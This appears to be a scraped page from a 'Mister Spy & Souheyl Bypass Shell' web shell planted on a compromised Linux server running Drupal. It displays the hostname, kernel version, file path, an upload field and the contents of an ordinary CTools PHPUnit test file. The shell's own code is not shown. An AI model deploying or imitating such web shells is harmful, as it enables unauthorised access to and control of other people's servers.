Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/12park/web/modules/contrib/ctools/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/12park/web/modules/contrib/ctools/tests/src/Kernel/RelationshipManagerTest.php

<?php

namespace Drupal\Tests\ctools\Kernel;

use Drupal\Core\Plugin\Context\Context;
use Drupal\Core\Plugin\Context\EntityContextDefinition;

/**
 * @coversDefaultClass \Drupal\ctools\Plugin\RelationshipManager
 * @group CTools
 */
class RelationshipManagerTest extends RelationshipsTestBase {

  /**
   * @covers ::getDefinitions
   */
  public function testRelationshipConstraints() {
    $definitions = $this->relationshipManager->getDefinitions();
    $expected = [
      'Bundle' => [
        0 => "page",
        1 => "foo",
      ],
    ];
    $this->assertSame($expected, $definitions['typed_data_relationship:entity:node:body']['context_definitions']['base']->getConstraints());

    // Check that typed data primitive labels are formatted properly.
    $this->assertSame('Body from Page and Foo', (string) $definitions['typed_data_relationship:entity:node:body']['label']);

    // Check that entity relationship labels are formatted properly.
    $this->assertSame('Authored by Entity from Content', (string) $definitions['typed_data_entity_relationship:entity:node:uid']['label']);

    // Check that language relationship labels are formatted properly.
    $this->assertSame('Language Language from Content', (string) $definitions['typed_data_language_relationship:entity:node:langcode']['label']);
  }

  /**
   * @covers ::getDefinitionsForContexts
   */
  public function testRelationshipPluginAvailability() {
    $context_definition = new EntityContextDefinition('entity:node');
    $contexts = [
      'node' => new Context($context_definition, $this->entities['node1']),
    ];
    $definitions = $this->relationshipManager->getDefinitionsForContexts($contexts);

    $context_definition = new EntityContextDefinition('entity:node');
    $contexts = [
      'node' => new Context($context_definition, $this->entities['node2']),
    ];
    $definitions = $this->relationshipManager->getDefinitionsForContexts($contexts);
    $this->assertArrayNotHasKey('typed_data_relationship:entity:node:body', $definitions);

    $context_definition = new EntityContextDefinition('entity:node');
    $contexts = [
      'node' => new Context($context_definition, $this->entities['node3']),
    ];
    $definitions = $this->relationshipManager->getDefinitionsForContexts($contexts);

  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net